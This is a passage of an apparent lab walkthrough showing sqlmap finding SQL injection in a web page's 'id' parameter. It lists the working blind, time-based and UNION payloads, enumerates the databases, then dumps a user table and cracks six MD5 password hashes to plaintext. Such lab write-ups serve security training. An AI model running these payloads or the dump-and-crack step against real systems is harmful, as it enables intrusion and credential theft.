&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;12:05:57] &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;INFO] testing &lt;span class=&quot;s1&quot;&gt;&apos;AND boolean-based blind - WHERE or HAVING clause&apos;&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;12:05:57] &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;INFO] GET parameter &lt;span class=&quot;s1&quot;&gt;&apos;id&apos;&lt;/span&gt; seems to be &lt;span class=&quot;s1&quot;&gt;&apos;AND boolean-based blind - WHERE or HAVING clause&apos;&lt;/span&gt; injectable
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;12:05:57] &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;INFO] testing &lt;span class=&quot;s1&quot;&gt;&apos;MySQL &amp;gt;= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause&apos;&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;12:05:57] &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;INFO] testing &lt;span class=&quot;s1&quot;&gt;&apos;MySQL &amp;gt;= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause&apos;&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;12:05:57] &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;INFO] testing &lt;span class=&quot;s1&quot;&gt;&apos;MySQL &amp;gt;= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)&apos;&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;12:05:57] &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;INFO] testing &lt;span class=&quot;s1&quot;&gt;&apos;MySQL &amp;gt;= 5.1 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)&apos;&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;12:05:57] &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;INFO] testing &lt;span class=&quot;s1&quot;&gt;&apos;MySQL &amp;gt;= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UPDATEXML)&apos;&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;12:05:57] &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;INFO] testing &lt;span class=&quot;s1&quot;&gt;&apos;MySQL &amp;gt;= 5.1 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UPDATEXML)&apos;&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;12:05:57] &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;INFO] testing &lt;span class=&quot;s1&quot;&gt;&apos;MySQL &amp;gt;= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)&apos;&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;12:05:57] &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;INFO] testing &lt;span class=&quot;s1&quot;&gt;&apos;MySQL &amp;gt;= 5.5 OR error-based - WHERE, HAVING clause (BIGINT UNSIGNED)&apos;&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;12:05:57] &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;INFO] testing &lt;span class=&quot;s1&quot;&gt;&apos;MySQL &amp;gt;= 4.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause&apos;&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;12:05:57] &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;INFO] testing &lt;span class=&quot;s1&quot;&gt;&apos;MySQL &amp;gt;= 4.1 OR error-based - WHERE, HAVING clause&apos;&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;12:05:57] &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;INFO] testing &lt;span class=&quot;s1&quot;&gt;&apos;MySQL OR error-based - WHERE or HAVING clause&apos;&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;12:05:57] &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;INFO] testing &lt;span class=&quot;s1&quot;&gt;&apos;MySQL &amp;gt;= 5.1 error-based - PROCEDURE ANALYSE (EXTRACTVALUE)&apos;&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;12:05:57] &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;INFO] testing &lt;span class=&quot;s1&quot;&gt;&apos;MySQL &amp;gt;= 5.0 error-based - Parameter replace&apos;&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;12:05:57] &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;INFO] testing &lt;span class=&quot;s1&quot;&gt;&apos;MySQL &amp;gt;= 5.1 error-based - Parameter replace (EXTRACTVALUE)&apos;&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;12:05:57] &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;INFO] testing &lt;span class=&quot;s1&quot;&gt;&apos;MySQL &amp;gt;= 5.1 error-based - Parameter replace (UPDATEXML)&apos;&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;12:05:57] &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;INFO] testing &lt;span class=&quot;s1&quot;&gt;&apos;MySQL &amp;gt;= 5.5 error-based - Parameter replace (BIGINT UNSIGNED)&apos;&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;12:05:57] &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;INFO] testing &lt;span class=&quot;s1&quot;&gt;&apos;MySQL inline queries&apos;&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;12:05:57] &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;INFO] testing &lt;span class=&quot;s1&quot;&gt;&apos;MySQL &amp;gt; 5.0.11 stacked queries (SELECT - comment)&apos;&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;12:05:57] &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;WARNING] time-based comparison requires larger statistical model, please wait....                                                                                         
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;12:05:57] &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;INFO] testing &lt;span class=&quot;s1&quot;&gt;&apos;MySQL &amp;gt; 5.0.11 stacked queries (SELECT)&apos;&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;12:05:57] &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;INFO] testing &lt;span class=&quot;s1&quot;&gt;&apos;MySQL &amp;gt; 5.0.11 stacked queries (comment)&apos;&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;12:05:57] &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;INFO] testing &lt;span class=&quot;s1&quot;&gt;&apos;MySQL &amp;gt; 5.0.11 stacked queries&apos;&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;12:05:57] &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;INFO] testing &lt;span class=&quot;s1&quot;&gt;&apos;MySQL &amp;lt; 5.0.12 stacked queries (heavy query - comment)&apos;&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;12:05:57] &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;INFO] testing &lt;span class=&quot;s1&quot;&gt;&apos;MySQL &amp;lt; 5.0.12 stacked queries (heavy query)&apos;&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;12:05:57] &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;INFO] testing &lt;span class=&quot;s1&quot;&gt;&apos;MySQL &amp;gt;= 5.0.12 AND time-based blind (SELECT)&apos;&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;12:06:08] &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;INFO] GET parameter &lt;span class=&quot;s1&quot;&gt;&apos;id&apos;&lt;/span&gt; seems to be &lt;span class=&quot;s1&quot;&gt;&apos;MySQL &amp;gt;= 5.0.12 AND time-based blind (SELECT)&apos;&lt;/span&gt; injectable
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;12:06:08] &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;INFO] testing &lt;span class=&quot;s1&quot;&gt;&apos;Generic UNION query (NULL) - 1 to 20 columns&apos;&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;12:06:08] &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;INFO] automatically extending ranges &lt;span class=&quot;k&quot;&gt;for &lt;/span&gt;UNION query injection technique tests as there is at least one other &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;potential&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; technique found
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;12:06:08] &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;INFO] ORDER BY technique seems to be usable. This should reduce the &lt;span class=&quot;nb&quot;&gt;time &lt;/span&gt;needed to find the right number of query columns. Automatically extending the range &lt;span class=&quot;k&quot;&gt;for &lt;/span&gt;current UNION query injection technique &lt;span class=&quot;nb&quot;&gt;test&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;12:06:08] &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;INFO] target URL appears to have 5 columns &lt;span class=&quot;k&quot;&gt;in &lt;/span&gt;query
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;12:06:08] &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;INFO] GET parameter &lt;span class=&quot;s1&quot;&gt;&apos;id&apos;&lt;/span&gt; is &lt;span class=&quot;s1&quot;&gt;&apos;Generic UNION query (NULL) - 1 to 20 columns&apos;&lt;/span&gt; injectable
GET parameter &lt;span class=&quot;s1&quot;&gt;&apos;id&apos;&lt;/span&gt; is vulnerable. Do you want to keep testing the others &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;if &lt;/span&gt;any&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;? &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;y/N] N
sqlmap identified the following injection point&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;s&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; with a total of 45 HTTP&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;s&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; requests:
&lt;span class=&quot;nt&quot;&gt;---&lt;/span&gt;
Parameter: &lt;span class=&quot;nb&quot;&gt;id&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;GET&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: &lt;span class=&quot;nv&quot;&gt;page&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;blog&amp;amp;title&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;Blog&amp;amp;id&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;2 AND &lt;span class=&quot;nv&quot;&gt;7114&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;7114

Type: AND/OR time-based blind
Title: MySQL &lt;span class=&quot;o&quot;&gt;&amp;gt;=&lt;/span&gt; 5.0.12 AND time-based blind &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;SELECT&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
Payload: &lt;span class=&quot;nv&quot;&gt;page&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;blog&amp;amp;title&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;Blog&amp;amp;id&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;2 AND &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;SELECT &lt;span class=&quot;k&quot;&gt;*&lt;/span&gt; FROM &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;SELECT&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;SLEEP&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;5&lt;span class=&quot;o&quot;&gt;)))&lt;/span&gt;kOtW&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;

Type: UNION query
Title: Generic UNION query &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;NULL&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; - 5 columns
Payload: &lt;span class=&quot;nv&quot;&gt;page&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;blog&amp;amp;title&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;Blog&amp;amp;id&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;2 UNION ALL SELECT NULL,NULL,NULL,CONCAT&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;0x7162707871,0x4f75614351414f4d6e69,0x7176717671&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;,NULL--
&lt;span class=&quot;nt&quot;&gt;---&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;12:06:31] &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;INFO] the back-end DBMS is MySQL
web server operating system: Linux Fedora 5 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;Bordeaux&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
web application technology: Apache 2.2.0, PHP 5.1.2
back-end DBMS: MySQL 5.0.12
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;12:06:31] &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;INFO] fetching database names
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;12:06:31] &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;INFO] fetching tables &lt;span class=&quot;k&quot;&gt;for &lt;/span&gt;databases: &lt;span class=&quot;s1&quot;&gt;&apos;calendar, ehks, information_schema, mysql, roundcubemail, test&apos;&lt;/span&gt;
Database: calendar
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;5 tables]
+---------------------------------------+
| phpc_calendars                        |
| phpc_events                           |
| phpc_sequence                         |
| phpc_users                            |
| uid                                   |
+---------------------------------------+

Database: roundcubemail
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;6 tables]
+---------------------------------------+
| session                               |
| cache                                 |
| contacts                              |
| identities                            |
| messages                              |
| &lt;span class=&quot;nb&quot;&gt;users&lt;/span&gt;                                 |
+---------------------------------------+

Database: ehks
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;3 tables]
+---------------------------------------+
| user                                  |
| blog                                  |
| comment                               |
+---------------------------------------+

Database: information_schema
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;16 tables]
+---------------------------------------+
| CHARACTER_SETS                        |
| COLLATIONS                            |
| COLLATION_CHARACTER_SET_APPLICABILITY |
| COLUMNS                               |
| COLUMN_PRIVILEGES                     |
| KEY_COLUMN_USAGE                      |
| ROUTINES                              |
| SCHEMATA                              |
| SCHEMA_PRIVILEGES                     |
| STATISTICS                            |
| TABLES                                |
| TABLE_CONSTRAINTS                     |
| TABLE_PRIVILEGES                      |
| TRIGGERS                              |
| USER_PRIVILEGES                       |
| VIEWS                                 |
+---------------------------------------+

Database: mysql
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;17 tables]
+---------------------------------------+
| user                                  |
| columns_priv                          |
| db                                    |
| func                                  |
| help_category                         |
| help_keyword                          |
| help_relation                         |
| help_topic                            |
| host                                  |
| proc                                  |
| procs_priv                            |
| tables_priv                           |
| time_zone                             |
| time_zone_leap_second                 |
| time_zone_name                        |
| time_zone_transition                  |
| time_zone_transition_type             |
+---------------------------------------+&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;h3 id=&quot;sqlmap-dump-hahes--crack-hashes&quot;&gt;SQLMap Dump Hahes + Crack hashes&lt;/h3&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;sqlmap &lt;span class=&quot;nt&quot;&gt;-u&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;http://192.168.30.147/index.html?page=blog&amp;amp;title=Blog&amp;amp;id=2&quot;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-p&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;id&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-D&lt;/span&gt; ehks &lt;span class=&quot;nt&quot;&gt;-T&lt;/span&gt; user  &lt;span class=&quot;nt&quot;&gt;--dump&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;_
___ ___| |_____ ___ ___  &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;1.0-dev-nongit-0826&lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
|_ -| &lt;span class=&quot;nb&quot;&gt;.&lt;/span&gt; | |     | .&lt;span class=&quot;s1&quot;&gt;&apos;| . |
|___|_  |_|_|_|_|__,|  _|
|_|           |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user&apos;&lt;/span&gt;s responsibility to obey all applicable &lt;span class=&quot;nb&quot;&gt;local&lt;/span&gt;, state and federal laws. Developers assume no liability and are not responsible &lt;span class=&quot;k&quot;&gt;for &lt;/span&gt;any misuse or damage caused by this program

&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; starting at 12:15:25

&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;12:15:25] &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;INFO] resuming back-end DBMS &lt;span class=&quot;s1&quot;&gt;&apos;mysql&apos;&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;12:15:25] &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;INFO] testing connection to the target URL
sqlmap resumed the following injection point&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;s&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; from stored session:
&lt;span class=&quot;nt&quot;&gt;---&lt;/span&gt;
Parameter: &lt;span class=&quot;nb&quot;&gt;id&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;GET&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: &lt;span class=&quot;nv&quot;&gt;page&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;blog&amp;amp;title&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;Blog&amp;amp;id&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;2 AND &lt;span class=&quot;nv&quot;&gt;7114&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;7114

Type: AND/OR time-based blind
Title: MySQL &lt;span class=&quot;o&quot;&gt;&amp;gt;=&lt;/span&gt; 5.0.12 AND time-based blind &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;SELECT&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
Payload: &lt;span class=&quot;nv&quot;&gt;page&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;blog&amp;amp;title&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;Blog&amp;amp;id&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;2 AND &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;SELECT &lt;span class=&quot;k&quot;&gt;*&lt;/span&gt; FROM &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;SELECT&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;SLEEP&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;5&lt;span class=&quot;o&quot;&gt;)))&lt;/span&gt;kOtW&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;

Type: UNION query
Title: Generic UNION query &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;NULL&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; - 5 columns
Payload: &lt;span class=&quot;nv&quot;&gt;page&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;blog&amp;amp;title&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;Blog&amp;amp;id&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;2 UNION ALL SELECT NULL,NULL,NULL,CONCAT&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;0x7162707871,0x4f75614351414f4d6e69,0x7176717671&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;,NULL--
&lt;span class=&quot;nt&quot;&gt;---&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;12:15:25] &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;INFO] the back-end DBMS is MySQL
web server operating system: Linux Fedora 5 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;Bordeaux&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
web application technology: Apache 2.2.0, PHP 5.1.2
back-end DBMS: MySQL 5.0.12
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;12:15:25] &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;INFO] fetching columns &lt;span class=&quot;k&quot;&gt;for &lt;/span&gt;table &lt;span class=&quot;s1&quot;&gt;&apos;user&apos;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;in &lt;/span&gt;database &lt;span class=&quot;s1&quot;&gt;&apos;ehks&apos;&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;12:15:25] &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;INFO] fetching entries &lt;span class=&quot;k&quot;&gt;for &lt;/span&gt;table &lt;span class=&quot;s1&quot;&gt;&apos;user&apos;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;in &lt;/span&gt;database &lt;span class=&quot;s1&quot;&gt;&apos;ehks&apos;&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;12:15:25] &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;INFO] analyzing table dump &lt;span class=&quot;k&quot;&gt;for &lt;/span&gt;possible password hashes
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;12:15:25] &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;INFO] recognized possible password hashes &lt;span class=&quot;k&quot;&gt;in &lt;/span&gt;column &lt;span class=&quot;s1&quot;&gt;&apos;user_pass&apos;&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;do &lt;/span&gt;you want to store hashes to a temporary file &lt;span class=&quot;k&quot;&gt;for &lt;/span&gt;eventual further processing with other tools &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;y/N]
&lt;span class=&quot;k&quot;&gt;do &lt;/span&gt;you want to crack them via a dictionary-based attack? &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;Y/n/q]
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;12:15:34] &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;INFO] using &lt;span class=&quot;nb&quot;&gt;hash &lt;/span&gt;method &lt;span class=&quot;s1&quot;&gt;&apos;md5_generic_passwd&apos;&lt;/span&gt;
what dictionary &lt;span class=&quot;k&quot;&gt;do &lt;/span&gt;you want to use?
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;1] default dictionary file &lt;span class=&quot;s1&quot;&gt;&apos;/usr/share/sqlmap/txt/wordlist.zip&apos;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;press Enter&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;2] custom dictionary file
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;3] file with list of dictionary files
&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;12:15:35] &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;INFO] using default dictionary
&lt;span class=&quot;k&quot;&gt;do &lt;/span&gt;you want to use common password suffixes? &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;slow!&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;y/N]
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;12:15:36] &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;INFO] starting dictionary-based cracking &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;md5_generic_passwd&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;12:15:36] &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;INFO] starting 4 processes
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;12:15:37] &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;INFO] cracked password &lt;span class=&quot;s1&quot;&gt;&apos;Homesite&apos;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;for &lt;/span&gt;user &lt;span class=&quot;s1&quot;&gt;&apos;pmoore&apos;&lt;/span&gt;                                                                                                                       
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;12:15:38] &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;INFO] cracked password &lt;span class=&quot;s1&quot;&gt;&apos;Sue1978&apos;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;for &lt;/span&gt;user &lt;span class=&quot;s1&quot;&gt;&apos;jdurbin&apos;&lt;/span&gt;                                                                                                                       
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;12:15:39] &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;INFO] cracked password &lt;span class=&quot;s1&quot;&gt;&apos;ilike2surf&apos;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;for &lt;/span&gt;user &lt;span class=&quot;s1&quot;&gt;&apos;dstevens&apos;&lt;/span&gt;                                                                                                                   
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;12:15:42] &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;INFO] cracked password &lt;span class=&quot;s1&quot;&gt;&apos;pacman&apos;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;for &lt;/span&gt;user &lt;span class=&quot;s1&quot;&gt;&apos;sorzek&apos;&lt;/span&gt;                                                                                                                         
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;12:15:42] &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;INFO] cracked password &lt;span class=&quot;s1&quot;&gt;&apos;undone1&apos;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;for &lt;/span&gt;user &lt;span class=&quot;s1&quot;&gt;&apos;ghighland&apos;&lt;/span&gt;                                                                                                                     
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;12:15:43] &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;INFO] cracked password &lt;span class=&quot;s1&quot;&gt;&apos;seventysixers&apos;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;for &lt;/span&gt;user &lt;span class=&quot;s1&quot;&gt;&apos;achen&apos;&lt;/span&gt;                                                                                                                   
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;12:15:44] &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;INFO] postprocessing table dump                                                                                                                                           
Database: ehks
Table: user
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;6 entries]
+---------+-----------+--------------------------------------------------+
| user_id | user_name | user_pass                                        |
+---------+-----------+--------------------------------------------------+
| 1       | dstevens  | 02e823a15a392b5aa4ff4ccb9060fa68 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;ilike2surf&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;    |
| 2       | achen     | b46265f1e7faa3beab09db5c28739380 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;seventysixers&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; |
| 3       | pmoore    | 8f4743c04ed8e5f39166a81f26319bb5 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;Homesite&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;      |
| 4       | jdurbin   | 7c7bc9f465d86b8164686ebb5151a717 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;Sue1978&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;       |
| 5       | sorzek    | 64d1f88b9b276aece4b0edcc25b7a434 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;pacman&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;        |
| 6       | ghighland | 9f3eb3087298ff21843cc4e013cf355f &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;undone1&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;       |
+---------+-----------+--------------------------------------------------+

